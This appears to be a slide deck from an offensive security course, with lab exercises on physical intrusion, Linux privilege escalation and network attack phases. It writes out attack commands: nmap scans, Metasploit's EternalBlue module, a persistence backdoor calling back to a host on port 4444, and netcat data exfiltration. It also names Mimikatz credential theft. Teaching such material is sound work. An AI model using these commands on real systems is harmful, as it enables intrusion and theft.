

THE CYBER PROTECT

PHYSICAL, SYSTEM AND NETWORK SECURITY

PMF Kragujevac | Offensive Security Course

PHYSICAL PENETRATION TESTING

- Physical penetration testing evaluates an organization's real-world physical security controls – locks, badges, guards, and staff vigilance.
- Sources: purplesec.us, redteamsecurity.com, triaxiomsecurity.com, seementis.com

LOCK PICKING

- Lock picking is the art of manipulating locks to open them without their original keys.
- It has applications in locksmithing, security testing, and as a hobby.

TELEPHOTOGRAPHY

- Telephotography is a specialized photography technique used for capturing distant subjects.
- It allows photographers to get close-up shots of subjects that are far away.

DUMPSTER DIVING

- Dumpster diving is the practice of retrieving discarded items from dumpsters or trash bins for various purposes.
- Paper documents, books, manuals, invoices, and bank statements are some of the things an attacker would look for in order to retrieve useful information.

TAILGATING

- Tailgating is a technique used to pass through secure entrances where only authorized personnel are allowed to enter.
- Attackers achieve this by following the person that is passing through the entrance and entering without credentials.

SHOULDER SURFING

- Shoulder surfing is a form of visual hacking where an individual discreetly observes or records sensitive information, such as PINs, passwords, or personal data, by looking over someone's shoulder.
- It is a low-tech method of information theft that can occur in various settings, including ATMs, public Wi-Fi areas, and crowded public spaces.

EXERCISE 1

1. How would you attack the TheCyberProtect office in Novi Sad?

EXERCISE 2

1. Make a new user on the system
2. Enable the user to run commands as root without requiring a password
3. Get a reverse root shell from that user using the sudo command

EXERCISE 3

1. What other users and hosts are communicating with your Linux?
2. How would you detect live that there is a new communication from another IP to your system?
3. Can you think of ways to bypass what you just proposed in the previous question?

EXERCISE 4

1. What environment variables are there on your local system?
2. Are there any specific Cloud environment variables that are particularly interesting for hackers?
3. What web vulnerability can lead to a compromise of a cloud environment variable?

EXERCISE 5

1. What services are running on your system?
2. Can you use searchsploit and see if there is something interesting for those service names?
3. Check if any of those services is running as root?

EXERCISE 6

1. Paste three sensitive file names to your group that are usual for Linux systems
2. If /etc/passwd file can be edited how could you abuse that for privilege escalation – can you paste a link to a blog that demonstrates that?
3. Would that be possible on your system?

NETWORK SECURITY

- Network security involves implementing measures to protect the integrity, confidentiality, and accessibility of computer networks and data using both hardware and software technologies.
- Essential components include firewalls, intrusion detection systems, antivirus software, and encryption protocols to safeguard against unauthorized access and cyber threats.
- Regular updates and patches are critical, as they address vulnerabilities and protect against emerging threats.

RECONNAISSANCE

EXAMPLE

Use Nmap for initial network scanning to gather information about live hosts and open ports.

```
nmap -sP 192.168.1.0/24
```

DESCRIPTION

This helps to map the network and identify potential targets for further investigation.

PORT SCANNING

EXAMPLE

Conduct a detailed scan using Nmap to discover open ports and services running on identified hosts.

```
nmap -sS -p 1-65535 192.168.1.10
```

DESCRIPTION

Identifies which services are exposed and potentially vulnerable to attacks.

SERVICE ENUMERATION

EXAMPLE

Utilize Nmap scripts to enumerate service versions and gather more detailed information.

```
nmap -sV --script=banner 192.168.1.10
```

DESCRIPTION

Helps in identifying specific service versions which might have known vulnerabilities.

VULNERABILITY SCANNING

EXAMPLE

Run Nessus to scan for known vulnerabilities on the discovered services and hosts.

DESCRIPTION

Detects and catalogs vulnerabilities that can be exploited.

EXPLOIT RESEARCH

EXAMPLE

Use Exploit Database or Metasploit to find and utilize existing exploits for the identified vulnerabilities.

DESCRIPTION

Provides ready-to-use exploits for vulnerabilities discovered during scanning.

EXPLOITATION

EXAMPLE

Deploy Metasploit to exploit a vulnerable service and gain access to the target machine.

```
use exploit/windows/smb/ms17_010_eternalblue
```

DESCRIPTION

Demonstrates how an attacker could exploit a known vulnerability to gain unauthorized access.

PRIVILEGE ESCALATION

EXAMPLE

Use Windows Exploit Suggester to find local privilege escalation vulnerabilities on the compromised host.

DESCRIPTION

Escalates privileges to gain full control over the target system.

LATERAL MOVEMENT

EXAMPLE

Use Mimikatz to extract credentials from the compromised host and use PsExec to move laterally across the network.

DESCRIPTION

Expands the attack by compromising additional systems within the network.

PERSISTENCE

EXAMPLE

Create a persistent backdoor using Metasploit's persistence module.

```
run persistence -U -i 5 -p 4444 -r 192.168.1.20
```

DESCRIPTION

Ensures continuous access to the compromised network, even after a system reboot.

DATA EXFILTRATION

EXAMPLE

Use Netcat to transfer sensitive data from the compromised host to an external server.

```
nc -l -p 4444 > exfil.zip / nc 192.168.1.20 4444 < data.zip
```

DESCRIPTION

Simulates how an attacker might steal valuable data from the network.

GROUP EXERCISE

GROUP EXERCISE 7 - INSTALL METASPLOITABLE

?

How many vulnerabilities with vuln scan can you identify?

?

Can you exploit a brute force vulnerability?

?

Are there any interesting databases on the server? Can you exfiltrate data?

?

Can you make sure that you can access the system later, when your shell breaks?

EXERCISE 8

1. Can you configure FTP with anonymous access and SSH with weak root password?
2. Paste the output of a vuln scan tool that finds out that your system is vulnerable in both FTP and SSH cases
3. Make sure that your system is not available to the public when experimenting

QA

Questions & discussion

damjancvetanovic1@gmail.com

TheCyberProtect DOO